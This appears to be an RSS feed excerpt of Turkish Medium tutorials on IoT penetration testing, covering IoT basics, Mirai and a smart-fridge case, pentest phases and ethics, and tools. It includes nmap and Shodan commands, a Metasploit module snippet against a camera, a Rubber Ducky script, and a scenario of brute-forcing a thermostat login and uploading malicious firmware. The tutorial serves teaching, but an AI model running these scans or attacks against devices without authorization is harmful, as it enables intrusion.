akıllı sağlık cihazı, hasta verilerini <strong>HTTPS yerine HTTP</strong> üzerinden gönderirse bu veriler okunabilir.</p><h3>Kod Örneği: Şifrelenmemiş Veri Gönderimi (Python)</h3><pre>import socket</pre><pre># Sunucu adresi ve portu<br>server_address = (&#39;192.168.1.101&#39;, 65432)<br><br># Mesaj<br>message = &quot;Sensitive data: patient health record&quot;</pre><pre># Soket oluşturma ve bağlanma<br>with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>    s.connect(server_address)<br>    s.sendall(message.encode())<br><br>print(&quot;Message sent&quot;)</pre><p>Açıklama: Bu kod, düz metin olarak hasta verisi gönderiyor. Veri, ağ dinlenirse doğrudan görülebilir.</p><h3>4. Güvenlik Güncellemeleri ve Yamalar</h3><h3>Açıklama:</h3><p>IoT cihazlarının bir kısmı <strong>OTA (Over-the-Air)</strong> güncellemeyi desteklemez. Zafiyetler keşfedildikten sonra bile bu cihazlar korunmasız kalır.</p><h3>5. Örnek Vaka Ve Olaylar</h3><h3>Örnek Vaka 1: Mirai Botnet Saldırısı</h3><h4>Olay: 2016 yılında, Mirai botnet’i, birçok IoT cihazını hedef alarak büyük DDoS saldırılarına neden olmuştur. Bu saldırıda, cihazların varsayılan şifrelerinin değiştirilmemesi ve zayıf güvenlik önlemleri kullanılması etkili olmuştur.</h4><ul><li><strong>Hedef:</strong> Güvenlik kameraları, yönlendiriciler gibi IoT cihazları</li><li><strong>Yöntem:</strong> Cihazların varsayılan şifreleriyle ele geçirilmesi</li><li><strong>Sonuç:</strong> Dünya çapında DDoS saldırısı (DynDNS, Twitter, Reddit gibi sitelere erişilemedi)</li></ul><h4>Detay:</h4><p>Mirai, internete bağlı cihazları tarayıp <strong>varsayılan kimlik bilgileriyle giriş yaptı</strong>, cihazları <strong>botnet ağına dahil etti</strong> ve komutla büyük saldırılar düzenledi.</p><h3>Örnek Vaka 2: Akıllı Buzdolabı Güvenlik Açığı</h3><h4>Olay: Bir akıllı buzdolabında keşfedilen bir güvenlik açığı, cihazın kontrol edilmesine ve kişisel verilerin ele geçirilmesine yol açmıştır. Bu olay, cihazın yazılım güncellemelerinin düzenli olarak yapılmaması nedeniyle meydana gelmiştir.</h4><ul><li><strong>Hedef:</strong> Wi-Fi destekli akıllı buzdolabı</li><li><strong>Yöntem:</strong> Eski yazılım sürümündeki zafiyetlerin sömürülmesi</li><li><strong>Sonuç:</strong> Cihaz kontrolü ele geçirildi, e-posta bilgileri çalındı</li></ul><h4>Ders:</h4><p>Güncelleme mekanizması olmayan cihazlar uzun vadede <strong>siber riskleri artırır</strong>.</p><h3>IoT Sızma Testi Temelleri (IoT Penetration Testing Fundamentals)</h3><p><strong>IoT Sızma Testi</strong>, IoT cihazları ve bağlı oldukları ağlardaki güvenlik açıklarını <strong>aktif olarak test etmek</strong> ve bunların saldırganlar tarafından nasıl sömürülebileceğini değerlendirmek amacıyla yapılan güvenlik analiz sürecidir.</p><h3>Sızma Testi Nedir?</h3><p><strong>Sızma testi (Penetration Testing / Pentest)</strong>:</p><ul><li>Bir sistemin güvenlik açıklarını <strong>tespit etmek</strong>,</li><li>Bu açıklardan sızılabilirliği <strong>doğrulamak ve sömürmek</strong>,</li><li>Sistemin saldırılara karşı <strong>ne kadar dayanıklı olduğunu görmek</strong><br> amacıyla yapılan <strong>etik hackerlık</strong> çalışmasıdır.</li></ul><h4>Amaçları:</h4><ul><li>Güvenlik açıklarını erkenden keşfetmek</li><li>Saldırganların kullanabileceği zafiyetleri test etmek</li><li>Güvenlik politikalarının etkinliğini ölçmek</li><li>Geliştiricilere ve yöneticilere rehberlik sağlamak</li></ul><h4>Örnek:</h4><p>Bir akıllı güvenlik kamerası sistemi test edilir:</p><ul><li>IP adresi belirlenir</li><li>HTTP servisi varsa zayıf şifre denenir</li><li>Kameranın canlı yayınına şifre olmadan erişilip erişilemediği denenir</li></ul><h3>IoT Sızma Testinin Temel İlkeleri</h3><p>IoT sızma testi, klasik sızma testlerine göre daha fazla değişken içerir çünkü:</p><ul><li>Donanımlar küçüktür ve kaynakları sınırlıdır (RAM, CPU)</li><li>Fiziksel erişim çoğu zaman mümkündür</li><li>Özel ve yaygın olmayan protokoller kullanılır</li></ul><h4>Temel İlkeler:</h4><p>İlkeAçıklama<strong>Gizlilik</strong>Testte elde edilen veriler saklanmalı, başkalarıyla paylaşılmamalı.<strong>Dürüstlük</strong>Yasal izinle ve şeffaf şekilde yürütülmeli.<strong>Doğruluk</strong>Test sonuçları abartılmadan, doğru şekilde sunulmalı.<strong>Güncellik</strong>Kullanılan araçlar güncel olmalı, eski tekniklerle test yapılmamalı.</p><h4>Örnek:</h4><p>Bir akıllı ev cihazı test edilirken cihazın çalışmasını bozacak saldırılardan kaçınılmalı; kullanıcıyla test öncesi sözleşme imzalanmalıdır.</p><h3>IoT Sızma Testi Adımları</h3><p>İyi yapılandırılmış bir IoT sızma testi genellikle şu <strong>5 temel adımdan</strong> oluşur:</p><h4>1. Planlama ve Hazırlık</h4><ul><li><strong>Amaç ve kapsam belirlenir</strong></li><li>Hedef cihaz(lar) tanımlanır</li><li>Yasal izinler alınır</li><li>Zaman çizelgesi oluşturulur</li></ul><p>Örnek: “Akıllı sulama sistemi” test edilecek. Hangi bileşenler (sensor, web arayüzü, Wi-Fi) incelenecek belirlenir.</p><h4>2. Bilgi Toplama (Reconnaissance)</h4><ul><li>Cihazın IP adresi, açık portları, iletişim protokolleri belirlenir</li><li>Firmware, üretici bilgileri araştırılır</li><li>Kablosuz ağlar dinlenir (Bluetooth, Zigbee)</li></ul><h4>3. Zafiyet Analizi</h4><ul><li>Toplanan bilgilere göre cihazın zayıf noktaları incelenir</li><li>Varsayılan şifreler</li><li>Açık portlar</li><li>HTTP servisinde kimlik doğrulama yokluğu</li><li>Eski firmware sürümü</li><li>Yazılım bileşenleri taranı</li></ul><h4>4. Sömürme (Exploitation)</h4><ul><li>Belirlenen açıklar kullanılarak sistemin içine girilmeye çalışılır</li><li>Web arayüzüne giriş</li><li>Telnet veya SSH ile sistem erişimi</li><li>OTA güncelleme yoluyla zararlı yazılım yükleme</li></ul><p>Örnek:<br> Cihazın web arayüzüne şifresiz erişim sağlanır ve kameralara canlı bağlanılır.</p><h4>5. Raporlama</h4><ul><li>Elde edilen bulgular detaylı ve sistematik şekilde raporlanır:</li><li>Açıklar</li><li>İstismar şekilleri</li><li>Önerilen çözümler</li><li>Teknik ekip ve yönetime yönelik iki farklı formatta sunulabilir.</li></ul><p>Örnek: “Cihazda HTTP üzerinden oturum açılması mümkün. Şifreleme yok. Kullanıcı adı: admin, Şifre: boş.”</p><h3>Yasal ve Etik Konular</h3><p>IoT sızma testleri etik ve hukuki sınırlar dahilinde yapılmalıdır. Aksi takdirde bu testler <strong>cezai sonuçlar</strong> doğurabilir.</p><h4>Temel Yasal ve Etik Kurallar:</h4><p>KuralAçıklama<strong>İzin Alma</strong>Cihazın sahibi/kurumu tarafından <strong>yazılı izin alınmalı</strong>.<strong>Veri Gizliliği</strong>Toplanan bilgiler yalnızca test raporunda kullanılmalı.<strong>Hasar Vermeme</strong>Cihazın çalışmasını bozan testlerden kaçınılmalı.<strong>Sorumluluk ve Rapor</strong>Bulgular doğru şekilde paylaşılmalı, abartıdan kaçınılmalı.</p><p>Örnek: Bir akıllı ev sistemi test edilecekse ev sahibiyle <strong>önceden “penetrasyon testi sözleşmesi”</strong> imzalanmalıdır.</p><h3>Gerçek Hayatta IoT Sızma Testine Örnek Senaryo</h3><p><strong>Test Edilen Cihaz:</strong> Akıllı Termostat<br> <strong>Adımlar:</strong></p><ol><li>Nmap ile portlar tespit edilir → HTTP açık</li><li>Web arayüzü taranır → /login formu bulundu</li><li>Brute-force denenir → Kullanıcı: admin, Şifre: 1234 kabul edildi</li><li>Arayüzde OTA firmware yükleme özelliği bulunur</li><li>Özel hazırlanmış zararlı firmware yüklenir → cihaz ele geçirilir</li><li>Tüm işlem raporlanır, öneriler sunulur:</li></ol><ul><li>Şifre karmaşıklaştırması</li><li>HTTPS zorunluluğu</li><li>Gelişmiş kimlik doğrulama (2FA)</li></ul><h3>IoT Sızma Testi Aşamaları</h3><p>IoT sızma testi, IoT cihazlarının ve bağlı oldukları sistemlerin güvenliğini değerlendirmek amacıyla yürütülen bir test sürecidir. Bu süreç çeşitli aşamalardan oluşur ve her aşamada farklı araçlar ve teknikler kullanılarak güvenlik açıkları tespit edilir.</p><h3>1. Bilgi Toplama (Reconnaissance)</h3><h4>Ağ ve Cihaz Keşfi</h4><p>Bu adımda, hedef sistemdeki IoT cihazları ve ağ topolojisi belirlenir.</p><ul><li><strong>Amaç:</strong> Bağlı cihazların IP adreslerini ve işlevlerini tanımak.</li><li><strong>Araç:</strong> Nmap</li></ul><pre>Komut:nmap -sP 192.168.1.0/24</pre><ul><li>Belirtilen ağ aralığındaki cihazları keşfeder.</li></ul><h4>Pasif ve Aktif Tarama Yöntemleri</h4><p><strong>Pasif Tarama:</strong> Sisteme müdahale etmeden yapılan izleme.</p><ul><li><strong>Araç:</strong> Wireshark</li></ul><pre>Komut:wireshark</pre><ul><li>Ağ trafiğini analiz eder.</li></ul><p><strong>Aktif Tarama:</strong> Sisteme doğrudan sorgular gönderilerek yapılan keşif.</p><ul><li><strong>Araç:</strong> Nmap</li><li>Komut:nmap -sS 192.168.1.10</li><li>Belirli bir cihazın açık portlarını tarar.</li></ul><h4>OSINT (Açık Kaynak İstihbarat) Kullanımı</h4><p>Açık kaynaklardan hedefle ilgili bilgi toplamayı içerir.</p><ul><li><strong>Araç:</strong> Shodan</li></ul><pre>Komut:shodan search &quot;default password&quot;</pre><ul><li>Varsayılan şifrelerle çalışan cihazları bulur.</li></ul><h3>2. Ağ Haritalama ve Zafiyet Analizi</h3><h4>Ağ Haritası Çıkartma</h4><p>Ağın görsel yapısını ve bağlı cihazları belirlemek için yapılır.</p><ul><li><strong>Araç:</strong> Zenmap (Nmap’in GUI versiyonu)</li></ul><h4>Zafiyet Tespiti</h4><p>Cihazların yazılım veya servislerindeki güvenlik açıklarının analizidir.</p><ul><li><strong>Araçlar:</strong></li><li>Nessus (Güvenlik açıklarını tespit etmek için kullanılır.)</li><li>OpenVAS (Açık kaynaklı zafiyet tarama aracı.)</li><li>Nikto (Web sunucuları için zafiyet tarama aracı.)</li><li>Metasploit (Güvenlik testleri ve sömürü için kapsamlı bir araç.)</li></ul><h3>3. Saldırı ve Sömürme (Exploitation)</h3><h4>Zafiyetlerin Sömürülmesi</h4><p>Tespit edilen açıkların kullanılarak sistemin ele geçirilmesi.</p><ul><li><strong>Araç:</strong> Metasploit</li></ul><pre>Komut:msfconsole</pre><h4>Fiziksel Erişim Saldırıları</h4><p>Fiziksel erişim saldırıları, cihazlara doğrudan fiziksel erişim sağlayarak yapılan saldırılardır. Bu saldırılar, cihazların fiziksel güvenlik zafiyetlerinden yararlanır.</p><ul><li><strong>Yöntemler:</strong> JTAG, UART gibi donanım portları üzerinden erişim sağlama.</li></ul><h4>Uygulama Katmanı Saldırıları</h4><p>Uygulama katmanı saldırıları, IoT cihazlarının yazılımlarına yönelik saldırıları içerir. Bu saldırılar, uygulama katmanındaki zafiyetlerden yararlanır.</p><ul><li><strong>Örnek:</strong> XSS zafiyetinin kullanılması</li><li><strong>Araç:</strong> Burp Suite (web uygulama güvenlik testi için)</li></ul><h3>4. Sonuçları Raporlama</h3><h4>Rapor Hazırlama Teknikleri</h4><p>Test sonuçlarının sistemli ve açık şekilde dokümantasyonu yapılır:</p><ul><li><strong>Bulguların Özeti:</strong> Önemli güvenlik açıklamaları kısa biçimde sunulur.</li><li><strong>Detaylı Açıklamalar:</strong> Her zafiyetin nasıl bulunduğu ve etkisi yazılır.</li><li><strong>Çözüm Önerileri:</strong> Açıkların nasıl kapatılabileceği belirtilir.</li></ul><h4>Teknik ve Yönetsel Bulgular</h4><ul><li><strong>Teknik Bulgular:</strong> Yazılım açıkları, şifreleme eksiklikleri gibi konular.</li><li><strong>Yönetsel Bulgular:</strong> Zayıf parola politikaları, güncelleme eksiklikleri gibi kurumsal hatalar.</li></ul><h4>Tavsiyeler ve Önlemler</h4><p>Sistemin güvenliğini artırmak için uygulanabilecek çözümler önerilir:</p><ul><li>Varsayılan şifrelerin kaldırılması</li><li>Yazılımların düzenli olarak güncellenmesi</li><li>Uygun erişim kontrolleri sağlanması</li></ul><h3>IoT Sızma Testi Araçları</h3><p>IoT sızma testleri, çeşitli donanım ve yazılım araçları kullanılarak gerçekleştirilir. Bu araçlar, IoT cihazlarının güvenlik açıklarını belirlemek, analiz etmek ve sömürmek için kullanılır.</p><h3>Donanım Araçları</h3><h4>1. USB Test Cihazları</h4><p>USB test cihazları, IoT cihazlarına USB üzerinden saldırılar düzenlemek ve veri toplamak için kullanılır. Bu cihazlar, USB bağlantı noktalarını test etmek ve güvenlik açıklarını belirlemek için etkilidir.</p><p>Yaygın Kullanım Alanları:</p><ul><li><strong>USB üzerinden veri sızdırma testi</strong></li><li><strong>USB bağlantı noktası güvenlik değerlendirmesi</strong></li></ul><p><strong>Örnek:</strong> Bir akıllı TV’nin USB bağlantı noktalarının güvenlik açıklarını test etmek.</p><p><strong>Araç:</strong> USB Rubber Ducky</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*37JVx4uUSilnkxWlq148MA.jpeg" /></figure><p><strong>Kullanım Örneği (Simülasyon Komutu):</strong></p><pre>REM Open port scanning<br>DELAY 2000<br>STRING nmap -sP 192.168.1.0/24<br>ENTER<br>---------------------------------------------------------------<br>Açıklama: Bu komut, bir USB Rubber Ducky cihazının akıllı TV&#39;nin <br>USB portuna takılarak, ağ taraması başlatmasını simüle eder.</pre><p>2. <strong>RF (Radyo Frekansı) Test Araçları</strong></p><p>Kablosuz haberleşen IoT cihazları RF sinyalleriyle iletişim kurar. Bu sinyaller analiz edilerek:</p><ul><li>İletişim güvenliği kontrol edilir,</li><li>Frekans üzerindeki veri trafiği izlenir.</li></ul><p><strong>Örnek:</strong> Bir akıllı kapı kilidinin RF iletişim protokollerini analiz etmek.</p><p><strong>Araç:</strong> HackRF One</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*lQuceqeQUtnTfR8SToPOkQ.jpeg" /></figure><p>Kullanım Örneği: HackRF One ile RF Sinyal Analizi</p><p><strong>Kullanım Örneği:</strong></p><pre>hackrf_transfer -r capture.bin -f 315000000<br>--------------------------------------------------------------<br>Açıklama: Bu komut, HackRF One kullanarak 315 MHz frekansındaki <br>RF sinyallerini yakalar ve capture.bin dosyasına kaydeder.</pre><h4>3. JTAG ve UART Arayüzleri</h4><p>IoT cihazlarının donanım seviyesinde analizini sağlar. Bu bağlantılarla:</p><ul><li><strong>Donanım hata ayıklama</strong></li><li><strong>Firmware analiz</strong></li><li><strong>Cihaz kontrolü</strong></li></ul><p>yapabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*RQ60FrZ2pPl6JPKIAryrAQ.jpeg" /></figure><p><strong>Örnek:</strong> Bir akıllı termostatın JTAG arayüzü kullanılarak firmware analizini yapmak.</p><p><strong>Araç:</strong> Bus Pirate</p><p><strong>ullanım Örneği:</strong></p><pre>screen /dev/ttyUSB0 115200<br>----------------------------------------------------------------<br>Açıklama: Bu komut, Bus Pirate kullanarak bir cihazın UART arayüzüne<br>bağlanır ve seri konsolu üzerinden hata ayıklama yapar.</pre><h3>💻 Yazılım Araçları</h3><h4>1. Nmap</h4><p>Ağ tarama ve port analizinde kullanılır. IoT cihazlarının ağa nasıl bağlandığı, hangi servislerin çalıştığı gibi detaylar öğrenilir.</p><p><strong>Kullanım Örneği:</strong></p><pre>nmap -sS -O 192.168.1.105</pre><p><strong>Açıklama:</strong> Belirtilen IP adresindeki cihazın açık portlarını ve işletim sistemini tespit eder.</p><h4>2. Metasploit Framework</h4><p>IoT cihazlarına ait bilinen güvenlik açıklarının sömürülmesini sağlar.</p><p><strong>Kullanım Örneği:</strong></p><pre>use exploit/multi/http/samsung_snmp  <br>set RHOSTS 192.168.1.150  <br>run</pre><p><strong>Açıklama:</strong> Samsung marka bir güvenlik kamerasındaki SNMP açığı kullanılarak sistem kontrol altına alınabilir.</p><h4>3. Wireshark</h4><p>Ağ paketlerini yakalamak ve analiz etmek için kullanılır. IoT cihazlarının:</p><ul><li>Gönderdiği veri türü,</li><li>Şifreleme kullanıp kullanmadığı<br> gibi detaylar bu araçla belirlenebilir.</li></ul><h4>4. Burp Suite</h4><p>IoT cihazlarının web arayüzlerindeki zafiyetleri bulmak için tercih edilir.</p><ul><li>XSS, CSRF, zayıf doğrulama gibi web uygulama açıkları test edilir.</li></ul><p><strong>Örnek:</strong> Bir akıllı termostatın web panelindeki XSS açığı tespit edilir.</p><h4>5. Firmware Analiz Araçları</h4><p>IoT cihazlarının firmware (gömülü yazılım) dosyaları incelenerek içerdiği açıklar ortaya çıkarılır.</p><p><strong>Araç:</strong> Binwalk</p><p><strong>Kullanım Örneği:</strong></p><pre>binwalk -e firmware.bin</pre><p><strong>Açıklama:</strong> firmware.bin dosyasındaki yapılar (dosya sistemleri, sıkıştırılmış dosyalar, scriptler vb.) çıkarılır ve analiz edilir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09918b79f381" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IoT PENTESTİNG/BÖLÜM 1]]></title>
            <link>https://medium.com/@kurtkaan/iot-pentesti%CC%87ng-b%C3%B6l%C3%BCm-1-12f09705daa9?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/12f09705daa9</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[iot-security]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Wed, 02 Jul 2025 23:48:07 GMT</pubDate>
            <atom:updated>2025-07-02T23:48:07.950Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAHC5PuHeVVlpuwhiBQU4A.jpeg" /></figure><h3>IoT (Internet of Things) Nedir?</h3><p><strong>IoT</strong>, fiziksel nesnelerin (cihazların) internete bağlanarak veri topladığı, paylaştığı ve analiz ettiği <strong>akıllı bir sistemler ağıdır</strong>. Bu cihazlar genellikle <strong>sensörler</strong> ve <strong>aktüatörler</strong> gibi bileşenlerle donatılmıştır. Cihazlar, birbirleriyle veya merkezi bir sistemle <strong>kablosuz veya kablolu ağlar üzerinden iletişim kurar</strong>.</p><h3>Temel Amaç:</h3><ul><li>Fiziksel dünyanın dijital dünya ile entegrasyonunu sağlamak.</li><li>Sürekli veri üretimi, kontrol ve otomasyon.</li></ul><h3>IoT Örnekleri</h3><p><strong>1.Akıllı Ev Sistemleri:</strong></p><ul><li>Işıklar, termostatlar, güvenlik kameraları uzaktan kontrol edilir.</li><li>Örnek: Eve gelmeden önce cep telefonundan evi ısıtmak.</li></ul><p><strong>2.Medikal İzleme Cihazları:</strong></p><ul><li>Hastaların kalp atışı, tansiyon gibi sağlık verileri gerçek zamanlı izlenir.</li><li>Doktorlar, bulut sistemine aktarılan verilere uzaktan ulaşabilir.</li></ul><p><strong>3.Endüstriyel Kontrol Sistemleri:</strong></p><ul><li>Üretim hatları sensörlerle izlenir ve kontrol edilir.</li><li>Arıza tespiti, enerji verimliliği analizi yapılabilir.</li></ul><p><strong>4.Akıllı Şehir Altyapısı:</strong></p><ul><li>Trafik ışıkları, park sensörleri, enerji sistemleri birbirine entegre çalışır.</li><li>Enerji tasarrufu ve trafik optimizasyonu sağlanır.</li></ul><h3>IoT Ekosistemi</h3><p>IoT, birbirini tamamlayan bileşenlerden oluşan <strong>bütünsel bir ekosistem</strong>dir. Bu bileşenler birlikte çalışarak etkili bir IoT çözümü sağlar.</p><h3>IoT Ekosistem Bileşenleri:</h3><ul><li><strong>Cihazlar (Edge Devices):</strong></li><li>Sensör ve aktüatörlerden oluşur.</li><li>Gerçek dünya verisini toplar ve fiziksel etki oluşturur.</li><li><strong>Ağlar (İletişim Katmanı):</strong></li><li>Verilerin cihazlardan sunuculara aktarılmasını sağlar.</li><li>Örnek protokoller: Wi-Fi, Bluetooth, Zigbee, LTE, 5G.</li><li><strong>Bulut Platformları:</strong></li><li>Verilerin saklandığı, işlendiği ve analiz edildiği merkezlerdir.</li><li>Büyük veri analizi ve makine öğrenmesi algoritmaları burada uygulanabilir.</li><li><strong>Kullanıcı Arayüzleri:</strong></li><li>Verilere erişim ve cihaz kontrolü için kullanılan uygulamalar.</li><li>Genellikle mobil uygulamalar ya da web arayüzleridir.</li></ul><h3>Örnek İşleyiş:</h3><p>Akıllı evde bir kapı sensörü hareket algılar → ağ geçidi ile buluta veri gönderilir → kullanıcı mobil uygulamadan bildirim alır → kullanıcı kamerayı açar ve kapıyı kilitler.</p><h3>IoT Güvenlik Temelleri</h3><p>IoT sistemleri, <strong>siber tehditlere karşı savunmasız olabilir</strong>. Bu nedenle bazı temel güvenlik önlemlerinin uygulanması gerekir:</p><h3>Temel Güvenlik Önlemleri:</h3><p><strong>1.Kimlik Doğrulama (Authentication):</strong></p><ul><li>Cihazların ve kullanıcıların sisteme erişmeden önce tanınması gerekir.</li><li>Kullanıcı adı + şifre, çok faktörlü kimlik doğrulama gibi yöntemler kullanılır.</li></ul><p><strong>2.Yetkilendirme (Authorization):</strong></p><ul><li>Hangi kullanıcının hangi kaynağa veya işleve erişebileceğini belirler.</li><li>Örneğin, sadece yöneticilerin cihaz ayarlarını değiştirebilmesi gibi.</li></ul><p><strong>3.Veri Şifreleme (Encryption):</strong></p><ul><li>Verilerin hem iletim sırasında hem de depolanırken şifrelenmesi gerekir.</li><li>Yaygın algoritmalar: <strong>AES-256</strong>, RSA, TLS.</li></ul><h3>IoT’nin Önemi ve Yaygınlığı</h3><p>IoT, modern dünyada çok çeşitli alanlarda <strong>verimlilik, otomasyon ve izleme imkânları</strong> sunarak hayatı kolaylaştırır ve sistemleri akıllı hale getirir.</p><h3>Önemli Kullanım Alanları:</h3><p><strong>1.Sağlık:</strong></p><ul><li>Hasta izleme cihazları, uzaktan teşhis ve müdahale.</li></ul><p><strong>2.Endüstri:</strong></p><ul><li>Üretim süreçlerinin otomasyonu, makine sağlığı izleme, enerji tüketimi analizi.</li></ul><p><strong>3.Akıllı Şehirler:</strong></p><ul><li>Trafik ışığı kontrolü, çöp kutusu doluluk takibi, akıllı aydınlatma.</li></ul><p><strong>4.Tarım:</strong></p><ul><li>Toprak nemi ölçümü, otomatik sulama sistemleri, hava durumu analizi.</li></ul><h3>IoT Güvenlik Sorunları ve Zafiyetler</h3><p>IoT cihazları genellikle düşük donanımlı ve hızlı pazara sürülen ürünlerdir. Bu durum bazı yaygın güvenlik açıklarına neden olur:</p><h3>Yaygın Güvenlik Zafiyetleri:</h3><p><strong>1.Zayıf Kimlik Doğrulama:</strong></p><ul><li>Cihazlar çoğu zaman varsayılan kullanıcı adı ve şifreyle gelir.</li><li>Örnek: Kullanıcı adı: admin, Şifre: password</li></ul><p><strong>2.Yetersiz Şifreleme:</strong></p><ul><li>Veriler şifrelenmeden gönderilir.</li><li>Örnek: HTTP üzerinden iletilen veriler dinlenebilir. HTTPS kullanılmalıdır.</li></ul><p><strong>3.Güncelleme Eksiklikleri:</strong></p><ul><li>Cihazlara güvenlik yaması gönderilmemesi ya da otomatik güncelleme desteğinin olmaması.</li><li>Örnek: Açık bir güvenlik zafiyeti bulunan cihaz, uzun süre güncellenmeden kalırsa hacker’lara açık hedef olur.</li></ul><h3>Ağ Katmanları (IoT Haberleşme Katmanları)</h3><p>IoT cihazları, verileri <strong>aşağıdan yukarıya</strong> doğru ağ katmanlarında iletir. Bu, OSI modeliyle benzerlik taşır.</p><h3>Katmanlar:</h3><p><strong>1.Fiziksel Katman:</strong></p><ul><li>Verinin fiziksel olarak iletildiği katmandır.</li><li>Örnek: Ethernet kablosu, Wi-Fi radyo sinyali.</li></ul><p><strong>2.Bağlantı Katmanı (Data Link):</strong></p><ul><li>Aynı ağ içindeki cihazların iletişimini yönetir.</li><li>MAC adresleri, çerçeve yapıları kullanılır.</li></ul><p><strong>3.Ağ Katmanı:</strong></p><ul><li>Verinin bir ağdan başka bir ağa yönlendirilmesini sağlar.</li><li>Protokol: IP (Internet Protocol)</li></ul><p><strong>4.Taşıma Katmanı:</strong></p><ul><li>Verinin güvenilir ve sıralı şekilde iletilmesini sağlar.</li><li>Protokoller: TCP (güvenilir), UDP (hızlı ama kontrolsüz)</li></ul><p><strong>5.Uygulama Katmanı:</strong></p><ul><li>Kullanıcı uygulamalarına en yakın katmandır.</li><li>Örnek protokoller: HTTP, MQTT, CoAP</li></ul><h3>IoT Protokolleri ve İletişim Yöntemleri</h3><p>IoT cihazları, veriyi iletmek için özel <strong>hafif, hızlı ve güvenli protokoller</strong> kullanır. Protokol seçimi, cihazın donanım kapasitesine ve kullanım amacına bağlıdır.</p><h3>Yaygın Protokoller:</h3><p><strong>1.HTTP/HTTPS:</strong></p><ul><li>Web servisleriyle iletişimde kullanılır.</li><li>Güvenli veri iletimi için HTTPS tercih edilir.</li><li>Yavaş ve ağırdır, güçlü cihazlar için uygundur.</li></ul><p><strong>2.MQTT (Message Queuing Telemetry Transport):</strong></p><ul><li><strong>Hafif</strong> bir mesajlaşma protokolüdür.</li><li>Düşük bant genişliğine ve enerjiye uygundur.</li><li>Yaygın kullanım: Sensör verilerinin buluta gönderilmesi.</li></ul><p><strong>3.CoAP (Constrained Application Protocol):</strong></p><ul><li>HTTP’ye benzer ama <strong>daha hafiftir</strong>.</li><li>Kısıtlı (low-power) cihazlar için uygundur.</li></ul><p><strong>4.Zigbee:</strong></p><ul><li>Düşük güç tüketimi, kısa mesafeli kablosuz iletişim.</li><li>Ev otomasyonu (ışıklar, kilitler) için tercih edilir.</li></ul><p><strong>5.Bluetooth Low Energy (BLE):</strong></p><ul><li>Kısa mesafeli ve enerji tasarrufludur.</li><li>Sağlık izleme cihazlarında yaygındır.</li></ul><h3>Veri Akışı ve Yönetimi</h3><p>IoT sistemlerinde veriler genellikle şu aşamalardan geçer:</p><p><strong>1.Veri Toplama:</strong></p><ul><li>Sensörler ortamdan veri alır (örnek: sıcaklık, nem, hareket).</li></ul><p><strong>2.Veri İşleme:</strong></p><ul><li>Mikrokontrolcüler veya edge cihazlar veriyi işler (örneğin eşik değer kontrolü).</li></ul><p><strong>3.Veri İletimi:</strong></p><ul><li>Ağ modülü aracılığıyla veriler yerel sunucuya veya buluta iletilir.</li></ul><p><strong>4.Veri Depolama:</strong></p><ul><li>Bulut ya da yerel veri tabanında kayıt altına alınır.</li></ul><p><strong>5.Veri Analizi:</strong></p><ul><li>Yapay zeka ya da büyük veri teknikleriyle anlamlı bilgiye dönüştürülür.</li></ul><h3>Örnek: Akıllı Sulama Sistemi</h3><ul><li>Sensör → Toprak nem verisi toplar</li><li>MCU → Veriyi analiz eder</li><li>Ağ Modülü → Buluta iletir</li><li>Kullanıcı → Mobil uygulamadan veriyi izler ve sistemi uzaktan kontrol eder</li></ul><h3>IoT Cihazları ve Bileşenleri</h3><p>IoT sistemleri, birçok farklı bileşenin <strong>birlikte ve senkronize</strong> çalışmasıyla oluşur. Bu bileşenlerin her biri, sistemin bir aşamasından sorumludur: veri toplamak, işlemek, iletmek, saklamak ve kullanıcıya sunmak.</p><h3>1. Sensörler ve Aktüatörler</h3><h3>Sensörler</h3><p>Sensörler, fiziksel çevreden veri toplar ve bu veriyi elektronik sinyallere çevirir. IoT sistemlerinde genellikle başlangıç noktasıdır.</p><h4>Yaygın Sensör Türleri:</h4><p>Sıcaklık Sensörü:Ortam sıcaklığını ölçer.</p><p>Nem Sensörü:Nem seviyesini algılar.</p><p>Hareket Sensörü:Hareket algılar.</p><p>Işık Sensörü:Işık yoğunluğunu algılar.</p><h3>Aktüatörler</h3><p>Aktüatörler, bir komutu fiziksel harekete dönüştürür. Sensörlerden gelen verilere göre <strong>bir cihazı açmak, hareket ettirmek veya kapatmak</strong> gibi işlemler yapar.</p><h4>Yaygın Aktüatör Türleri:</h4><p>Motor:Dönen/doğrusal hareket sağlar</p><p>Röle:Devreleri açar/kapatır</p><p>Solenoid:Manyetik itme/çekme sağlar</p><p>Isıtıcı:Ortamı ısıtır</p><h3>2. Ağ Geçitleri (Gateways) ve Hub’lar</h3><h3>Ağ Geçitleri</h3><p>Ağ geçitleri, IoT cihazlarından gelen verileri toplar ve bulut gibi dış sistemlere gönderir. Ayrıca, farklı protokoller arasında dönüşüm yapabilir.</p><h4>Ağ Geçidinin Görevleri:</h4><ul><li>Sensör verilerini toplar.</li><li>Verileri internet veya bulut sistemine iletir.</li><li>Protokol çevirisi yapar (örneğin Zigbee → Wi-Fi).</li><li>Verileri filtreler ve ön analiz yapar.</li></ul><h4>Örnek:</h4><p>Bir akıllı evde, ağ geçidi hem sıcaklık sensörlerinden hem de güvenlik kameralarından gelen verileri alır ve Amazon Web Services’a (AWS) gönderir.</p><h3>Hub’lar</h3><p>Hub’lar, aynı ağdaki cihazlar arasında <strong>veri alışverişini ve merkezi yönetimi</strong> sağlar. Genellikle <strong>yerel kontrol</strong> için kullanılır.</p><h4>Hub İşlevleri:</h4><ul><li>Cihazlar arası veri yönlendirme.</li><li>Yerel cihaz kontrolü.</li><li>Tüm sistemi tek bir yerden yönetme.</li><li>Örnek: Google Nest Hub, Apple HomeKit Hub</li></ul><h3>3. Bulut Hizmetleri</h3><p>IoT cihazlarının verilerini <strong>uzaktan işlemek, saklamak, analiz etmek ve yönetmek</strong> için kullanılır. 